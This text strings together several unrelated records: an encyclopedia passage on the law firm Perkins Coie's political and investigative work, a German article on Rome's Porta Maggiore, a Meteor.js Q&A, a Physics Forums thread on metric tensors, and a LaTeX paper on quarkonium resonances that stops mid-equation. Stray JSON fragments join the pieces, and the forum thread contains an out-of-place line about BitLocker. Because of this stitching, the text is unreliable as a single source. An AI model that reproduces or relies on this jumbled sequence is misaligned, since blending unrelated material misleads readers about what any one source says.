Perkins Coie was hired in 2015 as counsel for the presidential campaign of Hillary Clinton. As part of its representation of the Clinton campaign and the Democratic National Committee, Perkins Coie retained the intelligence firm Fusion GPS for opposition research services. Those services began in April 2016 and concluded before the 2016 U.S. presidential election in early November. A notable product of that "opposition research" was the Steele dossier describing alleged attempts by Russia to promote the presidential campaign of Donald Trump. During the campaign, the Clinton campaign and the DNC paid Perkins Coie $5.6 million and $3.6 million respectively. On October 24, 2017, Perkins Coie released Fusion GPS from its client confidentiality obligation. The Federal Election Commission conducted an investigation into misreported 2016 payments to Perkins Coie and levied a fine of over $100,000, jointly paid by the Democratic National Committee and the Clinton campaign.
Perkins Coie was retained to conduct the independent investigation into potential sexual abuse by Dr. Richard Strauss during the course of his employment with Ohio State University wrestling program. The firm conducted 600 interviews with 520 subjects over the course of a year, an investigation paid for by OSU and expected to cost over $6.2 million by its completion. Of 177 students who personally confirmed abuse by the doctor, and 38 more who confirmed abuse but could not remember which staff person was the perpetrator, according to the university's investigation, 48 were from the wrestling program. Because the report did not specifically mention the failure to address the abuse, or the lack of same, on the part of Republican Congressman Jim Jordan who coached in the programs for eight years while Strauss was there, Jordan claimed he, therefore, had been exonerated by the investigation.
Following the 2020 presidential election, Perkins Coie handled the responses to dozens of lawsuits filed by the Donald Trump campaign, in which Trump sought to overturn Joe Biden's win. Out of 65 such court cases, Perkins Coie prevailed in 64. In 2021, as several Republican-dominated state legislatures passed laws to tighten election procedures and impose stricter voting requirements, Perkins Coie filed suits challenging the new laws, often within hours of the bills being signed.
Notable alumni
Living alumni of the firm include the 16th Lieutenant Governor of Washington Cyrus Habib; former Attorney General of Washington State Rob McKenna; 9th Circuit Court of Appeals Judges Margaret McKeown, Ronald M. Gould, and Eric D. Miller; Federal Circuit Court of Appeals Judge Tiffany Cunningham; and Oregon Supreme Court Justice Chris Garrett.
In 2009, President Obama appointed Robert Bauer, the chair of the firm's Political Law practice, to become his White House Counsel. Bauer returned to private practice with Perkins Coie in 2011 and departed the firm in 2018. In 2015, Hillary Clinton named Marc Elias as general counsel to her campaign.
Trump-Russia investigation
In September 2021, Michael Sussmann, a well-known cybersecurity lawyer at Perkins Coie, was indicted by the John Durham Special Counsel for allegedly making a false statement to the FBI in September 2016. Sussmann resigned from the Perkins Coie after he was charged by the special counsel. After a jury trial, Sussman was unanimously acquitted in May 2022.
References
External links
Law firms established in 1912
Law firms based in Seattle
Intellectual property law firms
1912 establishments in Washington (state) | {
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Die Porta Maggiore (italienisch größeres Tor) ist eines von 18 größeren Stadttoren Roms.
Baugeschichte
Ursprünglich war die Porta Maggiore ein herausgehobener Teil eines Aquäduktes. Dieser führte die Leitungen der Aqua Claudia (untere Röhre) und die des Anio Novus (obere Röhre) über die Straßen Via Labicana und Via Praenestina. Erbaut wurde die spätere Porta Maggiore im Jahre 52 n. Chr. im Auftrag von Kaiser Claudius, der die Aqua Claudia errichten ließ, um die Wasserversorgung Roms weiter zu verbessern.
Ende des 3. Jahrhunderts n. Chr. wurde die Aurelianische Mauer errichtet. Auf Grund der gebotenen Eile bei Errichtung der Mauer wurden eine Reihe bestehender Bauwerke, unter anderem auch die spätere Porta Maggiore, in diese integriert.
In unmittelbarer Nähe der Porta Maggiora befinden sich das Grabmal des Eurysaces und eine unterirdische Basilika, die möglicherweise von Neopythagoreern errichtet wurde.
Name
Die Porta Maggiore trug zunächst den Namen Porta Praenestina, da diese Straße auf das Tor zuführt. Im Mittelalter erhielt das Tor jedoch seinen heutigen Namen, der den Pilgern anzeigt, dass sie, wenn sie durch dieses Tor Rom betreten, auf dem schnellsten Wege zur Kirche Santa Maria Maggiore gelangen.
Heutige Bedeutung
Die Porta Maggiore bildet heute den Mittelpunkt eines größeren, gleichnamigen Platzes in Rom, der optisch durch die Ruine der Aurelianischen Mauer geteilt wird. Der Platz ist ein wichtiger Knoten- und Umsteigepunkt im Netz der römischen Straßenbahn. Besonders fallen hier die Fahrzeuge der Verbindung Roma Laziali–Giardinetti mit ihrer abweichenden Spurweite auf.
Weblinks
Porta Maggiore. RomeArtLover.it (englisch)
Historische Aufnahmen der Porta Maggiore (Photo 1, Photo 2) beim Institut für klassische Archäologie der Universität Erlangen-Nürnberg
Maggiore
Römisches Aquädukt in Italien
Esquilino (Rione)
Erbaut in den 50er Jahren
Maggiore | {
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Q: which is better solution for develop `meteor Js` app? I need help for i am new to meteorjs. I am develop a e-commerce site for multi devices.
1.Two html files are write separate and load which device is used load that web-app.
2.If the user login into our app by using mobile how to load mobile app using meteor Js.
Please suggest me If the above two statements is wrong and tell me how to approach me .
A: Currently, Meteor servers all your client files (css, js, and templates converted into js) together at first request. Therefore you won't be able to send files selectively.
The Meteor way is setting up templates and showing/hiding (rendering) those templates according to your criteria.
One of the most selected routes for mobile is to use a responsive design in your ui with a mobile-first and feature detection strategy, but if you must, there device detection libraries in atmosphere, the meteor 3rd party package repository.
There actually is an ongoing discussion about this at the meteor-talk google group.
| {
"redpajama_set_name": "RedPajamaStackExchange"
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{"url":"https:\/\/www.physicsforums.com\/threads\/simple-metric-tensor-question.922734\/","text":"# Simple metric tensor question\n\n\u2022 A\nJTC\nGood Day,\n\nAnother fundamentally simple question...\n\nif I go here;\n\nhttp:\/\/www-hep.physics.uiowa.edu\/~vincent\/courses\/29273\/metric.pdf\n\nI see how to calculate the metric tensor. The process is totally clear to me.\n\nMy question involves LANGUAGE and the ORIGIN\n\nLANGUAGE: Does one say \"one calculates the metric tensor that relates the Cartesian coordinate system to the spherical coordinate system?\" How should I say that?\n\nORIGIN: So I can calculate the metric tensor (and, again, please correct my language), that relates the Cartesian and Cylindrical, the Cylindrical and Spherical, etc...\n\nBut how does one get the original metric tensor for the Cartesian (the identity matrix)? What doe that relate?\nIt seems to me I need two coordinate systems to do this process.\n\nAs I begin to calculate derivatives (see the fourth equation on that PDF above), what am I taking the derivative of and with respect to what? What gets me the metric tensor for the Cartesian that \"starts the ball rolling?\" (so to speak)\n\nAnd while you are at it: Go to Frankel \"GEOMETRY OF PHYSICS\" and go to the bottom of page xxxiv.\nWhat is he doing? I see x1, u1, x and theta. I see no organization to this. Could someone elaborate what derivatives he is taking?\n\nMentor\nDoesn't the cartesian metric tensor come from simply expressing the pythagorean theorem in tensor form?\n\nGold Member\nI think you can say that you calculate the metric tensor _in_ so-and-so coordinates. Basically , non-identity coefficients in the metric tensor show the existence of curvature in the space. Maybe if you give us a link from, e.g., Google books, we can read Frankel's book, otherwise I, at least, don't have access to the book. In the treatment I am familiar with , one uses a parametrization ##u=f(x_1,x_2,..,x_n) ## and then just applies the exterior differential to each x_i and subs in into ## dx^2 =dx_1^2+...+dx_n^2 ##.\n\nStaff Emeritus\nHomework Helper\nGold Member\nI think you can say that you calculate the metric tensor _in_ so-and-so coordinates.\nWhat you compute are usually the components of the metric tensor in some given coordinates.\n\nBasically , non-identity coefficients in the metric tensor show the existence of curvature in the space.\nDo not confuse the metric tensor with the curvature tensor. I can introduce a curvilinear and non-orthogonal coordinate system in a flat space and obtain a metric tensor that looks rather strange. What tells you if a space is curved or not is the curvature tensor. If you adopt the Levi-Civita connection, the curvature tensor will be directly given by how the metric tensor depends on the coordinates (the Christoffel symbols, and hence the components of the curvature tensor, contain derivatives of the metric components).\n\nIn the treatment I am familiar with , one uses a parametrization u=f(x1,x2,..,xn)u=f(x1,x2,..,xn)u=f(x_1,x_2,..,x_n) and then just applies the exterior differential to each x_i and subs in into dx2=dx21+...+dx2ndx2=dx12+...+dxn2 dx^2 =dx_1^2+...+dx_n^2 .\nYes, the easiest way of finding the components of the metric tensor is to look at how the line element depends on the coordinates. One of the easier examples being the line element in polar coordinates in the two-dimensional Euclidean plane such that ##x = r \\cos(\\theta)## and ##y = r \\sin(\\theta)##, which leads to\n$$dx = \\cos(\\theta) dr - r \\sin(\\theta) d\\theta, \\quad dy = \\sin(\\theta) dr + r \\cos(\\theta) d\\theta \\quad \\Longrightarrow \\quad ds^2 = dx^2 + dy^2 = dr^2 + r^2 d\\theta^2 = g_{rr} dr^2 + 2 g_{r\\theta} dr\\, d\\theta + g_{\\theta\\theta} d\\theta^2$$\nfrom which you can immediately identify ##g_{rr} = 1##, ##g_{r\\theta} = g_{\\theta r}= 0##, ##g_{\\theta\\theta} = r^2##. Note that this metric tensor is not proportional to identity, but that it still describes the Euclidean plane, which is flat.\n\nWWGD\nGold Member\nWhat you compute are usually the components of the metric tensor in some given coordinates.\n\nDo not confuse the metric tensor with the curvature tensor. I can introduce a curvilinear and non-orthogonal coordinate system in a flat space and obtain a metric tensor that looks rather strange. What tells you if a space is curved or not is the curvature tensor. If you adopt the Levi-Civita connection, the curvature tensor will be directly given by how the metric tensor depends on the coordinates (the Christoffel symbols, and hence the components of the curvature tensor, contain derivatives of the metric components).\n\nYes, the easiest way of finding the components of the metric tensor is to look at how the line element depends on the coordinates. One of the easier examples being the line element in polar coordinates in the two-dimensional Euclidean plane such that ##x = r \\cos(\\theta)## and ##y = r \\sin(\\theta)##, which leads to\n$$dx = \\cos(\\theta) dr - r \\sin(\\theta) d\\theta, \\quad dy = \\sin(\\theta) dr + r \\cos(\\theta) d\\theta \\quad \\Longrightarrow \\quad ds^2 = dx^2 + dy^2 = dr^2 + r^2 d\\theta^2 = g_{rr} dr^2 + 2 g_{r\\theta} dr\\, d\\theta + g_{\\theta\\theta} d\\theta^2$$\nfrom which you can immediately identify ##g_{rr} = 1##, ##g_{r\\theta} = g_{\\theta r}= 0##, ##g_{\\theta\\theta} = r^2##. Note that this metric tensor is not proportional to identity, but that it still describes the Euclidean plane, which is flat.\nYes, my bad, I was kind of loose with terms, maybe just loose-enough to be wrong; it has been a while, thanks for the refresher.\n\nJTC\nI think you can say that you calculate the metric tensor _in_ so-and-so coordinates. Basically , non-identity coefficients in the metric tensor show the existence of curvature in the space. Maybe if you give us a link from, e.g., Google books, we can read Frankel's book, otherwise I, at least, don't have access to the book. In the treatment I am familiar with , one uses a parametrization ##u=f(x_1,x_2,..,x_n) ## and then just applies the exterior differential to each x_i and subs in into ## dx^2 =dx_1^2+...+dx_n^2 ##.\n\nHere is the excerpt from Frankel. I just do not understand what he is doing in this section I talk about. The designated symbols make no sense (bottom of the page and top of the next) HERE it is known as page 6 and 7\n\nhttp:\/\/www.math.ucsd.edu\/~tfrankel\/the_geometry_of_physics.pdf\n\nI understand how he gets equation (7) (for polar coordinates). But how does he get equation just above it? How does he get the identity matrix? I mean, I expect it to be that! But using his equation, how does he get it? What is he taking derivatives of? What are the subscripts?\n\nI mean: to be honest, I do understand it all. I am just being really really picky. He gave an equation to calculate gij and I expect him to use it to get gij for Cartesian.\n\nLast edited:\nGold Member\nI guess Bitlocker is not 3rd-party, right? Sorry, could not find a definitive answer.\n\nI understand how he gets equation (7) (for polar coordinates). But how does he get equation just above it?\n? It's just 2D Cartesian coordinates. ##ds^2=dx^2+dy^2##.\n\nJTC\n? It's just 2D Cartesian coordinates. ##ds^2=dx^2+dy^2##.\n\nYes, I see that.\n\nBut I also see a definition to get the metric tensor by taking derivatives.\n\nBut I cannot see what I take derivatives OF to get the metric tensor\n\nI can see that if I want the polar, I take derivatives of the x with respect to theta or r. So then it seems to me that the gij for POLAR is DERIVED from the coordinates for Cartesian.\n\nI think I am thinking myself into a box.\n\nStaff Emeritus\nHomework Helper\nGold Member\nI can see that if I want the polar, I take derivatives of the x with respect to theta or r. So then it seems to me that the gij for POLAR is DERIVED from the coordinates for Cartesian.\nThis presumes that you have an underlying Cartesian metric on a Euclidean space. If you do, you already know the inner product of the Cartesian basis vectors and you can define the vector basis ##\\vec E_a = \\partial \\vec x\/\\partial x^a## and compute the components of the metric tensor according to\n$$g_{ab} = \\vec E_a \\cdot \\vec E_b = \\frac{\\partial \\vec x}{\\partial x^a} \\cdot \\frac{\\partial \\vec x}{\\partial x^b}.$$\n\nJTC\nAH HA!\nBINGO.\nThat was what I was hoping to hear. Now I get it!\n\nNever in all my learning has ONE SENTENCE explained it.\n\n>>This presumes that you have an underlying Cartesian metric on a Euclidean space.\n\nNo one ever says that!\n\nI am sorry, but waxing silly.. .but... O.M.G: Thank you.\n\nThat one sentence explained it all.","date":"2023-01-29 06:15:35","metadata":"{\"extraction_info\": {\"found_math\": true, \"script_math_tex\": 0, \"script_math_asciimath\": 0, \"math_annotations\": 0, \"math_alttext\": 0, \"mathml\": 0, \"mathjax_tag\": 0, \"mathjax_inline_tex\": 0, \"mathjax_display_tex\": 1, \"mathjax_asciimath\": 0, \"img_math\": 0, \"codecogs_latex\": 0, \"wp_latex\": 0, \"mimetex.cgi\": 0, \"\/images\/math\/codecogs\": 0, \"mathtex.cgi\": 0, \"katex\": 0, \"math-container\": 0, \"wp-katex-eq\": 0, \"align\": 0, \"equation\": 0, \"x-ck12\": 0, \"texerror\": 0, \"math_score\": 0.9358143210411072, \"perplexity\": 612.3624251210991}, \"config\": {\"markdown_headings\": true, \"markdown_code\": true, \"boilerplate_config\": {\"ratio_threshold\": 0.18, \"absolute_threshold\": 10, \"end_threshold\": 15, \"enable\": true}, \"remove_buttons\": true, \"remove_image_figures\": true, \"remove_link_clusters\": true, \"table_config\": {\"min_rows\": 2, \"min_cols\": 3, \"format\": \"plain\"}, \"remove_chinese\": true, \"remove_edit_buttons\": true, \"extract_latex\": true}, \"warc_path\": \"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-06\/segments\/1674764499700.67\/warc\/CC-MAIN-20230129044527-20230129074527-00506.warc.gz\"}"} | null | null |
\section{Introduction}
In this work we study $I=0$ quarkonium resonances using lattice QCD string breaking potentials computed in Ref.\ \cite{Bali:2005fu}. Our approach is based on the diabatic extension of the Born-Oppenheimer approximation and the unitary emergent wave method. In the first step of the Born-Oppenheimer approximation the two heavy quarks are considered as static to compute their potentials, possibly in the presence of two light quarks. In the second step these potentials are used in a coupled channel Schr\"odinger equation describing the dynamics of the heavy quarks \cite{Born:1927}.
In the past this approach was successfully applied to compute resonances for $\bar b \bar b q q$ systems, where $q$ denotes a light quark of flavor $u$ or $d$ \cite{Bicudo:2017szl}. In this work we investigate $\bar b b$ and $\bar b b \bar q q$ systems, which are technically more complicated, because there are a confined and two meson-meson decay channels. Studying this system is of interest also from an experimental point of view, because corresponding experimental results are available, e.g.\ for $\Upsilon(nS)$, $\Upsilon(10860)$ and $\Upsilon(11020)$.
We note that there are also ongoing efforts to study the related $I = 1$ system \cite{Prelovsek:2019ywc,Peters:2017hon}.
\section{Coupled channel Schr\"odinger equation}
We study $\bar Q Q$ and $\bar Q Q \bar q q$ quarkonium systems with $I=0$ and consider the heavy quark spins as conserved quantities. Thus, resulting masses and decay widths will be independent of the heavy quark spins. Such systems can be characterized by the following quantum numbers:
\begin{itemize}
\item $J^{PC}$: total angular momentum, parity and charge conjugation.
\item ${\tilde{J}}^{PC}$: total angular momentum excluding the heavy $\bar{Q} Q$ spins and corresponding parity and charge conjugation.
\item $L^{PC}$: orbital angular momentum and corresponding parity and charge conjugation. (For $\bar Q Q$ systems ${\tilde{J}}^{PC}$ coincides with $L^{PC}$.)
\end{itemize}
In Ref.\ \cite{Bicudo:2019ymo} we derived in detail the Schr\"odinger equation describing these quarkonium systems. In a simplified version, where $s$ quarks are ignored, it is composed of a quarkonium channel $\bar{Q} Q$ and of heavy-light meson-meson channels $\bar{M} M$ with $M = \bar{Q} q$ and $q \in \{ u,d \}$. The wave function has 4 components, $\psi(\mathbf{r}) = (\psi_{\bar{Q} Q}(\mathbf{r}), \vec{\psi}_{\bar{M} M}(\mathbf{r}))$. The first component $\psi_{\bar{Q} Q}(\mathbf{r})$ represents the $\bar Q Q$-channel, while the three lower components $\vec{\psi}_{\bar{M} M}(\mathbf{r})$ represent the spin-1 triplet of the $\bar M M$-channel. In detail the Schr\"odinger equation is given by
\begin{align}
\left(-\frac{1}{2}\mu^{-1}\left(\partial_r^2+\frac{2}{r}\partial_r-\frac{\mathbf{L}^2}{r^2}\right)+V(\mathbf{r}) + \MatrixTwoXTwo{E_{\textrm{threshold}}}{0}{0}{2 m_M} -E\right)\psi(\mathbf{r}) = 0,
\label{eqn:Schroedinger_equation}
\end{align}
where $E_{\textrm{threshold}}$ is a constant shift of the confining potential discussed below, $m_M$ denotes the mass of a heavy-light meson, $\mu^{-1} = \textrm{diag}(1/\mu_Q,1/\mu_M,1/\mu_M,1/\mu_M)$ contains the reduced masses of a heavy quark pair and a heavy-light meson pair
and
\begin{align}
V(\mathbf{r}) = \MatrixTwoXTwo{V_{\bar{Q}Q}(r)}{V_{\textrm{mix}}(r)\left(1\otimes\mathbf{e}_r\right)}
{V_{\textrm{mix}}(r)\left(\mathbf{e}_r\otimes 1\right)}
{V_{\bar{M}M, \parallel}(r)\left(\mathbf{e}_r\otimes\mathbf{e}_r\right) +
V_{\bar{M}M, \perp}(r)\left(1-\mathbf{e}_r\otimes\mathbf{e}_r\right)}.
\end{align}
The entries of this potential matrix, $V_{\bar{Q}Q}$, $V_{\textrm{mix}}$, $V_{\bar{M}M, \parallel}$ and $V_{\bar{M}M, \perp}$, are related to static potentials from QCD, which can be computed with lattice QCD, as e.g.\ done in Ref.\ \cite{Bali:2005fu}, where string breaking is studied. Suitable parameterizations are
\begin{align}
& V_{\bar{Q}Q}(r) = E_0 - \frac{\alpha}{r} + \sigma r + \sum_{j=1}^{2} c_{\bar{Q}Q, j} \, r \exp\left(-\frac{r^2}{2\lambda^2_{\bar{Q}Q, j}}\right) \label{eqn:parameterization1} \\
& V_{\textrm{mix}}(r) = \sum_{j=1}^{2} c_{\textrm{mix}, j} \, r \exp\left(-\frac{r^2}{2\lambda^2_{\textrm{mix}, j}}\right) \\
& V_{\bar{M}M, \parallel}(r) = V_{\bar{M}M, \perp}(r) = 0
\label{eqn:parameterization3}
\end{align}
with parameters listed in Table~\ref{tab:fitsGevFm}. These parameterizations are shown in Figure~\ref{fig:potentials} together with data points, which are based on the lattice QCD results from Ref.\ \cite{Bali:2005fu}. The lattice QCD setup also fixes $E_{\textrm{threshold}}$, which is identical to two times the heavy-light meson mass in that setup.
\begin{table}[htb]
\centering
\begin{tabular}{c|c|c}
%
\hline
potential & parameter & value \\
%
\hline
%
\hline
$V_{\bar{Q} Q}(r)$ & $E_0$ & $-1.599(269) \, \textrm{GeV}\phantom{1.^{-1}}$ \\
& $\alpha$ & $+0.320(94) \phantom{1.0 \, \textrm{GeV}^{-1}}$ \\
& $\sigma$ & $+0.253(035) \, \textrm{GeV}^{2\phantom{-}}\phantom{1.}$ \\
& $c_{\bar{Q} Q,1}$ & $+0.826(882) \, \textrm{GeV}^{2\phantom{-}}\phantom{1.}$ \\
& $\lambda_{\bar{Q} Q,1}$ & $+0.964(47) \, \textrm{GeV}^{-1}\phantom{1.0}$ \\
& $c_{\bar{Q} Q,2}$ & $+0.174(1.004) \, \textrm{GeV}^{2\phantom{-}}$ \\
& $\lambda_{\bar{Q} Q,2}$ & $+2.663(425) \, \textrm{GeV}^{-1}\phantom{1.}$ \\
%
\hline
%
\hline
$V_{\textrm{mix}}(r)$ & $c_{\textrm{mix},1}$ & $-0.988(32) \, \textrm{GeV}^{2\phantom{-}}\phantom{1.0}$ \\
& $\lambda_{\textrm{mix},1}$ & $+0.982(18) \, \textrm{GeV}^{-1}\phantom{1.0}$ \\
& $c_{\textrm{mix},2}$ & $-0.142(7) \, \textrm{GeV}^{2\phantom{-}}\phantom{1.00}$ \\
& $\lambda_{\textrm{mix},2}$ & $+2.666(46) \, \textrm{GeV}^{-1}\phantom{1.0}$ \\
%
\hline
\end{tabular}
\caption{\label{tab:fitsGevFm}Parameters of the potential parametrizations (\ref{eqn:parameterization1}) to (\ref{eqn:parameterization3}).}
\end{table}
\begin{figure}[htb]
\centering
\includegraphics[width=0.7\textwidth]{Vqq_Vmm_Vmix_1.pdf}
\caption{Potentials $V_{\bar{Q}Q}$, $V_{\bar{M}M, \parallel}(r)$ and $V_{\textrm{mix}}(r)$ as functions of $\bar Q Q$ separation $r$. The curves correspond to the parameterizations \eqref{eqn:parameterization1} to \eqref{eqn:parameterization3} with parameters listed in Table \ref{tab:fitsGevFm}.}
\label{fig:potentials}
\end{figure}
\section{Scattering matrix for definite ${\tilde{J}}$}
One can expand the wave function $\psi(\mathbf{r})$ in terms of eigenfunctions of ${\tilde{J}}$ and project the Schr\"odinger equation to definite ${\tilde{J}}$. For ${\tilde{J}}>0$ this leads to three coupled ordinary differential equations,
\begin{eqnarray}
\nonumber & & \hspace{-0.7cm} \left(-\frac{1}{2}\mu^{-1} \left(\partial^2_r - \frac{1}{r^2} L^2_{\tilde{J}}\right) +V_{\tilde{J}}(r) + \MatrixThreeXThree{E_{\textrm{threshold}}}{0}{0}{0}{2m_M}{0}{0}{0}{2m_M} - E\right)\Vector{u_{{\tilde{J}}}(r)}{\xx{{\tilde{J}}-1}{{\tilde{J}}}}{\xx{{\tilde{J}}+1}{{\tilde{J}}}} = \\
& & = \left( \begin{array}{c} V_{\textrm{mix}}(r) \\ 0 \\ 0 \end{array}\right) \left(\alpha_1 {{\tilde{J}} \over 2 {\tilde{J}} + 1} r j_{{\tilde{J}}-1} (k r) + \alpha_2 {{\tilde{J}}+1 \over 2 {\tilde{J}} + 1} r j_{{\tilde{J}}+1}(k r)\right)
\label{eqn:coupledChannelSE_3x3}
\end{eqnarray}
with $\mu^{-1} = \textrm{diag}(1/\mu_Q,1/\mu_M,1/\mu_M)$, $L_{\tilde{J}}^2 = \textrm{diag}({\tilde{J}}({\tilde{J}}+1),({\tilde{J}}-1){\tilde{J}},({\tilde{J}}+1)({\tilde{J}}+2))$ and
\begin{eqnarray}
V_{\tilde{J}}(r) &=
\left(\begin{array}{ccc}
V_{\bar{Q} Q}(r) & \sqrt{ {\tilde{J}} \over 2 {\tilde{J}}+1} V_\textrm{mix}(r) & \sqrt{{\tilde{J}}+1 \over 2{\tilde{J}}+1} V_\textrm{mix}(r) \\
\sqrt{ {\tilde{J}} \over 2 {\tilde{J}}+1} V_\textrm{mix}(r) & 0 & 0 \\
\sqrt{ {\tilde{J}}+1 \over 2 {\tilde{J}}+1} V_\textrm{mix}(r) & 0 & 0
\end{array}\right) .
\end{eqnarray}
The incident wave can be any superposition of $\bar M M$ with orbital angular momentum $L = {\tilde{J}} - 1$ and $L = {\tilde{J}} + 1$. For example, an incident pure $\bar M M$ wave with $L = {\tilde{J}} - 1$ corresponds to $(\alpha_1,\alpha_2) = (1,0)$. The boundary conditions are as follows:
\begin{align}
\label{eqn:boundary_conditions_1}
u_{{\tilde{J}}}(r) &\propto r^{{\tilde{J}}+1} , \quad
\xx{L}{{\tilde{J}}} \propto r^{L+1} &&\textrm{for} \quad r \rightarrow 0 \\
u_{{\tilde{J}}}(r) &= 0 &&\textrm{for} \quad r \rightarrow \infty,
\end{align}
for $(\alpha_1,\alpha_2) = (1,0)$
\begin{align}
\label{eqn:boundary_conditions_2}
\xx{{\tilde{J}}-1}{{\tilde{J}}} = it_{{\tilde{J}}-1,{\tilde{J}}-1} r h_{{\tilde{J}}-1}^{(1)}(kr), \quad
\xx{{\tilde{J}}+1}{{\tilde{J}}} = it_{{\tilde{J}}-1,{\tilde{J}}+1} r h_{{\tilde{J}}+1}^{(1)}(kr) \quad \textrm{for} \quad r \rightarrow \infty
\end{align}
and for $(\alpha_1,\alpha_2) = (0,1)$
\begin{align}
\label{eqn:boundary_conditions_3}
\xx{{\tilde{J}}-1}{{\tilde{J}}} = it_{{\tilde{J}}+1,{\tilde{J}}-1}\,r\,h_{{\tilde{J}}-1}^{(1)}(kr), \quad
\xx{{\tilde{J}}+1}{{\tilde{J}}} = it_{{\tilde{J}}+1,{\tilde{J}}+1}\,r\,h_{{\tilde{J}}+1}^{(1)}(kr) \quad \textrm{for} \quad r \rightarrow \infty .
\end{align}
Eqs.\ \eqref{eqn:boundary_conditions_2} and \eqref{eqn:boundary_conditions_3} define $\mbox{S}$ and $\mbox{T}$ matrices,
\begin{align}
\mbox{T}_{{\tilde{J}}} = \MatrixTwoXTwo{t_{{\tilde{J}}-1,{\tilde{J}}-1}}{t_{{\tilde{J}}+1,{\tilde{J}}-1}}{t_{{\tilde{J}}-1,{\tilde{J}}+1}}{t_{{\tilde{J}}+1,{\tilde{J}}+1}}, \quad \mbox{S}_{{\tilde{J}}} = 1 + 2 i \mbox{T}_{{\tilde{J}}} .
\label{eqn:tMatrix}
\end{align}
The corresponding equations for ${\tilde{J}} = 0$ can easily be obtained by discarding the incident and the emergent wave with $L = {\tilde{J}}-1$. The Schr\"odinger equation \eqref{eqn:coupledChannelSE_3x3} is then reduced to two channels and $\mbox{T}_0 = t_{1,1}$.
\section{Including $\bar M_s M_s$ channels}
Since heavy-light and heavy-strange mesons have similar masses, it is essential to also include heavy-strange meson-meson channels $\bar M_s M_s$ in the Schr\"odinger equation \eqref{eqn:Schroedinger_equation} or equivalently \eqref{eqn:coupledChannelSE_3x3}. For example, bottomonium resonances can then be studied for energies as large as $11.025 \, \textrm{GeV}$, the threshold for a negative parity $B$ or $B^\ast$ and a positive parity $B_0^\ast$ or $B_1^\ast$ meson. Without a $\bar M_s M_s$ channel our results would only be valid below the $B_s^{(\ast)} B_s^{(\ast)}$ threshold at $10.807 \, \textrm{GeV}$, which is rather close to the $B^{(\ast)} B^{(\ast)}$ threshold at $10.627 \, \textrm{GeV}$.
We use the same $2$-flavor lattice QCD static potentials from Ref.\ \cite{Bali:2005fu} to generate the entries of the potential matrix relevant for the $\bar M_s M_s$ channels. We expect this to be reasonable, since static potentials are known to have a rather mild dependence on light quark masses. This expectation was confirmed by a consistency check with results from a more recent $2+1$-flavor lattice QCD study of string breaking \cite{Bulava:2019iut}. For details we refer to our recent work \cite{Bicudo:2020qhp}.
The coupled channel Schr\"odinger equation projected to definite ${\tilde{J}}$ with both $\bar M M$ and $\bar M_s M_s$ scattering channels is given by
\begin{eqnarray}
\nonumber & & \hspace{-0.7cm} \left(\frac{1}{2} \mu^{-1} \left(\partial_r^2 - \frac{1}{r^2} L_{{\tilde{J}}}^2\right) + V_{{\tilde{J}}}(r) \right. \\
%
\nonumber & & \hspace{0.675cm} + \left.
\left(\begin{array}{ccccc}
E_{\textrm{threshold}} & 0 & 0 & 0 & 0 \\
0 & 2m_M & 0 & 0 & 0 \\
0 & 0 & 2m_M & 0 & 0 \\
0 & 0 & 0 & 2m_{M_s} & 0 \\
0 & 0 & 0 & 0 & 2m_{M_s} \\
\end{array}\right)
- E\right)
\left(\begin{array}{c} u_{{\tilde{J}}}(r) \\ \chi_{\bar{M}M,{\tilde{J}}-1 \rightarrow {\tilde{J}}}(r) \\ \chi_{\bar{M}M,{\tilde{J}}+1 \rightarrow {\tilde{J}}}(r) \\ \chi_{\bar{M_s}M_s,{\tilde{J}}-1 \rightarrow {\tilde{J}}}(r) \\ \chi_{\bar{M_s}M_s,{\tilde{J}}+1 \rightarrow {\tilde{J}}}(r) \end{array}\right) = \\
%
\nonumber & & = \left(\begin{array}{c} V_{\textrm{mix}}(r) \\ 0 \\ 0 \\ 0 \\ 0 \end{array}\right) \left(\alpha_{\bar{M}M,1} {{\tilde{J}} \over 2 {\tilde{J}}+1} r j_{{\tilde{J}}-1}(k r) + \alpha_{\bar{M}M,2} {{\tilde{J}}+1 \over 2 {\tilde{J}}+1} r j_{{\tilde{J}}+1}(k r)\right. \\
%
\label{eqn:coupledChannelSE_5x5} & & \hspace{0.675cm} + \left.\alpha_{\bar{M_s}M_s,1} {1 \over \sqrt{2}} {{\tilde{J}} \over 2 {\tilde{J}}+1} r j_{{\tilde{J}}-1}(k_s r) + \alpha_{\bar{M_s}M_s,2} {1 \over \sqrt{2}} {{\tilde{J}}+1 \over 2 {\tilde{J}}+1} r j_{{\tilde{J}}+1}(k_s r)\right) ,
\end{eqnarray}
with $\mu^{-1} = \textrm{diag}(1/\mu_Q,1/\mu_M,1/\mu_M,1/\mu_{M_s},1/\mu_{M_s})$, $L_{\tilde{J}}^2 = \textrm{diag}({\tilde{J}}({\tilde{J}}+1),({\tilde{J}}-1){\tilde{J}},({\tilde{J}}+1)({\tilde{J}}+2),({\tilde{J}}-1){\tilde{J}},({\tilde{J}}+1)({\tilde{J}}+2))$ and
\begin{align}
V_{\tilde{J}}(r) =
\left(\begin{array}{ccccc}
V_{\bar{Q} Q} & \sqrt{{{\tilde{J}} \over 2 {\tilde{J}}+1}} V_\textrm{mix} & \sqrt{{{\tilde{J}}+1 \over 2{\tilde{J}}+1}} V_\textrm{mix} & {1 \over \sqrt{2}} \sqrt{{{\tilde{J}} \over 2 {\tilde{J}}+1}} V_\textrm{mix} & {1 \over \sqrt{2}} \sqrt{{{\tilde{J}}+1 \over 2{\tilde{J}}+1}}V_\textrm{mix} \\
\sqrt{{{\tilde{J}} \over 2 {\tilde{J}}+1}} V_\textrm{mix} &0 & 0 & 0 & 0 \\
\sqrt{{{\tilde{J}}+1 \over 2{\tilde{J}}+1}} V_\textrm{mix} & 0 & 0 & 0 & 0 \\
{1 \over \sqrt{2}} \sqrt{{{\tilde{J}} \over 2 {\tilde{J}}+1}} V_\textrm{mix} & 0 & 0 & 0 & 0 \\
{1 \over \sqrt{2}} \sqrt{{{\tilde{J}}+1 \over 2{\tilde{J}}+1}} V_\textrm{mix} & 0 & 0 & 0 & 0 \\
\end{array}\right) .
\end{align}
After defining boundary conditions analogously to Eqs.\ \eqref{eqn:boundary_conditions_1} to \eqref{eqn:boundary_conditions_3}, we obtain a 4x4-scattering matrix
\begin{eqnarray}
\nonumber & & \hspace{-0.7cm} \mbox{T}_{\tilde{J}} =
\left(\begin{array}{cccc}
